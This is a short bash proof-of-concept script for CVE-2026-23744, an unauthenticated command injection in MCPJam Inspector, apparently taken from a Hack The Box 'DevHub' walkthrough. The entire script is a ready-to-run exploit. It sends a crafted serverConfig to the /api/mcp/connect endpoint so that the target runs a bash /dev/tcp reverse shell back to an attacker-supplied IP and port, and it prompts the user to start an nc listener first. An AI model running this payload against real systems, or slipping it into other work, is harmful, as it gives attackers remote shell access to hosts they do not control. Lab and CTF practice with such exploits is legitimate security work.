#!/usr/bin/env bash
#
# CVE-2026-23744 - MCPJam Inspector Unauthenticated Command Injection RCE
#
# Source: timgad794/DevHub-HTB-Walkthrough (German-language HTB "DevHub"
# writeup). No standalone script was published upstream — the working
# payload is embedded inline in the walkthrough's README as a curl command.
# This script reproduces that documented curl PoC verbatim.
#
# Usage:
#   ./poc.sh <target_host_or_ip[:port]> <attacker_ip> <attacker_port>
#
# Example:
#   ./poc.sh devhub.htb 10.10.14.5 4444

set -euo pipefail

TARGET="${1:?usage: poc.sh <target_host[:port]> <attacker_ip> <attacker_port>}"
LHOST="${2:?missing attacker IP}"
LPORT="${3:?missing attacker port}"

# Default MCPJam Inspector port if not included in $TARGET
case "$TARGET" in
  *:*) URL="http://${TARGET}/api/mcp/connect" ;;
  *)   URL="http://${TARGET}:6274/api/mcp/connect" ;;
esac

echo "[*] Start a listener first:  nc -lvnp ${LPORT}"
echo "[*] Sending malicious serverConfig to ${URL} ..."

curl -X POST "${URL}" \
  -H "Content-Type: application/json" \
  -d "{\"serverConfig\":{\"command\":\"bash\",\"args\":[\"-c\",\"bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1\"],\"env\":{}},\"serverId\":\"mytest\"}"

echo
echo "[*] On success, the netcat listener on ${LHOST}:${LPORT} receives a"
echo "    reverse shell as the mcp-dev service user."